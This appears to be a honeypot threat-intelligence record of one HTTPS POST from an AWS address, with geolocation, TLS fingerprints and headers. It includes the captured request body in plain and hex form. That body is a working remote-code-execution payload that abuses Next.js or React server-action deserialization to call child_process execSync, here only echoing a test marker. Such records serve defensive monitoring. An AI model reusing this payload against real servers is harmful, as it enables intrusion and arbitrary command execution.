{"ip":"3.149.191.121","total_events":1,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"enterprise","why":["1 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"941 bytes sent","bytes_sent":941,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-23T21:20:57","last_seen":"2026-09-23T21:20:57","events_24h":1,"events_7d":1,"geo":{"country_code":"US","country_name":"United States","region":"Ohio","city":"Columbus","lat":39.9587,"lon":-82.9987,"asn":16509,"org":"Amazon.com, Inc."},"source_domain":"ec2-3-149-191-121.us-east-2.compute.amazonaws.com","known_scanners":[],"scanner_tag":{"key":"aws","label":"Amazon AWS","category":"hosting_provider","url":"https://aws.amazon.com/"},"cve_matches":[],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_f50d94e863eb"],"tls_client_hello":"16030105d2010005ce030380c81e40bd5c22b4b8616eb08f29ac54aad8b9ca7eb2a51da515f437949a9dde2065cffc3949e923063de9710ac8a80544825d2f9adbbd66a94b0d91cde30ef3fd001ac02bc02fc02cc030cca9cca8c009c013c00ac0141301130213030100056b000b00020100ff010001000017000000120000000500050100000000000a0010000e11ec11eb11ed001d001700180019000d001c001a090409050906080404030807080508060401050106010503060300320020001e090409050906080404030807080508060401050106010503060302010203002b00050403040303003304ea04e811ec04c03d691d67155571cb226ec86b186029d41c9bafe20cecd790d890ce5fa882ca590997e28fd115b4a3439a5100cfc4921017234c045aa270a681c167c7cef5b26146818dc9916872a843687d629986b1c26c79900f854c9a2238c60410ad1535aaab1c0a713c6835178cb7dcc8f2ec6bf6ea866de472c6196e6caa51535616cec59bc4a5a8527372c79a5a03cc93e6592ce0895d0110b83de4cad2b6489c4a0ca5f053ffd4b5c2d53a05e9ab0915a7d4a9b24057c65e4a5877a338afb80a09724b97cc163b56302b26b2bd166e5a0643f084c54844cedb853603811d1cf6168d5137a191929bb70e82f18cc0280cc9991eacf61c580c68ba314d538c003f7831c7d79afe75c95f9922fcfa8ea767c4acd70dd317963bf6cbdac456e7ec9f010691940c3252134d47b28cead17461bb9fb148409632c12a2a827d333998a0b35fe93bb56b917aea500df5a76622a8b95337cc474e0441997d64a096398c45b61ff16409cfe6399657963db5ba35f756c931c85309a94a8b27cbdcc7ea335d4ee61601082f6d4c6cb330523be9ae6bebc924e0368d2b02ce478d22a08acb9489a94c94cedca33c0ca8de420aa33c66fd9c406882b6e84875f3c9b3eab91ed5c16efff28d0a69b1e5e21b85fb744c928cab6891e4dc55c4a151e861cbb788631fc45144088c699245749c96eceb99934bca7805b8a72867c0110d3ba768b7a10969a656ff05044f5666ec9a8b1350ceb3803f3e1476878b809759c3b95b6873a9a8886aa6c3d22dd26154423211eae3a94d13c3367cb7597238c514091488205e31af3db8125902cbe46ac1706b9acf4b28ec7c850c1b2365196821253cd19012b587b60a42bca813588b6abf485009fb038f3698bf0bb8708d03661db235993456dc153d09f8063a150e2629a8819b3ecaaa1796b98eea7755fb93736f51be5d7b4acf259cb2ca7e104746c4c51095e21c860b04deac5671a61c406a9f352c77460a031d54491e71be35ab44c0a638ddcb1bce011f496585dc3358bae3660ddc0740578d84388c98e82658432c508620a250af25f84959002bd7c6299372670693721a385a1db8cf8b5954476166c4e8812b179c49aca0b9ab1b9a3a948ca2c351859d7d6355a552054369aa167508d6d66935b336ac0bc3fe80cbee2c7dd69b4148b757e5956ce899c74796c103da6fc529c94a231f51f3ca254365e0f753a40718f6f0235f4184f4a222c2c9a5156322ef7ca0f8744eb3408725d81339221d0f6ab7fb357dc395b95830a682146f5aa457742a74fc5774f629aa7e09b6f07c41f08ccdf94080da3b3dfee593e8d201d13cb7195731257234f4b32877105993ec35c34a4a28d05075d4c3a595996f22c8e3dbae06b451f211c0f757a2e8a27386b07cbae6bc602b9f93d25328f8bd6570b8f4e5cb858c6ff0839024697de3395276e2025c014977382110b341b1d73461bb34b51aaa8f7b047ad919e23c5caf3763c4795bb8b53f7f23bdf75c7c69899fcfd80900209bb8b71f76523d8f3a633c7a4f1659bd160a2f3aaa9fc28183c07589155020a89323e3bc6b7cb56c201b8ccba43bcbb24f0939142b3471e22569239674499c223af01ec06685e21017b1ca425d2480aa6347d1be6119c544c4fb57abee2bdd345701f79da50b4d88bdaafe953f1aaccab59f5ccb931e0a2ebcecb06cb8432004c8a384f755f3ea7b00efd939001d00203f1aaccab59f5ccb931e0a2ebcecb06cb8432004c8a384f755f3ea7b00efd939","tls_ja3":["725543c78edf669194c11dc7a039b56e"],"http_akin":["a11cuq071_0000064e_4585b432"]},"fingerprint_peers":{"t13i131000_f57a46bbacb6_f50d94e863eb":2578,"a11cuq071_0000064e_4585b432":2},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"],"timeline":[{"date":"2026-09-23","count":1}],"recent_events":[{"timestamp":"2026-09-23T21:20:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"643\",\"content-type\":\"multipart/form-data; boundary=a0cd47ef3a890632fe6526c54b98b5cbfd6a9a2d883ec7eb88f58c159a92\",\"host\":\"<HONEYPOT>\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"}","body":"--a0cd47ef3a890632fe6526c54b98b5cbfd6a9a2d883ec7eb88f58c159a92\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_12345',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}\r\n--a0cd47ef3a890632fe6526c54b98b5cbfd6a9a2d883ec7eb88f58c159a92\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--a0cd47ef3a890632fe6526c54b98b5cbfd6a9a2d883ec7eb88f58c159a92--\r\n","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e33360d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d4c656e6774683a203634330d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d6130636434376566336138393036333266653635323663353462393862356362666436613961326438383365633765623838663538633135396139320d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d6130636434376566336138393036333266653635323663353462393862356362666436613961326438383365633765623838663538633135396139320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b225f726573706f6e7365223a7b225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2056554c4e5f544553545f3132333435272c7b2774696d656f7574273a33303030307d292e746f537472696e6728293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b227d2c22726561736f6e223a2d312c22737461747573223a227265736f6c7665645f6d6f64656c222c227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c2276616c7565223a227b5c227468656e5c223a205c222442305c227d227d0d0a2d2d6130636434376566336138393036333266653635323663353462393862356362666436613961326438383365633765623838663538633135396139320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d6130636434376566336138393036333266653635323663353462393862356362666436613961326438383365633765623838663538633135396139322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","ja3":"725543c78edf669194c11dc7a039b56e","session":"18d99275-ac7a-44e6-a865-b1437ec7aacc","seq":1,"duration_ms":100,"bytes_in":941,"bytes_out":78}],"http_methods":[{"method":"POST","count":1}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":1,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"643","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=a0cd47ef3a890632fe6526c54b98b5cbfd6a9a2d883ec7eb88f58c159a92","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36","notable":false}],"distinct_sets":1,"events_with_headers":1},"tags":[],"data_as_of":"2026-09-24T17:25:16.430960+00:00"}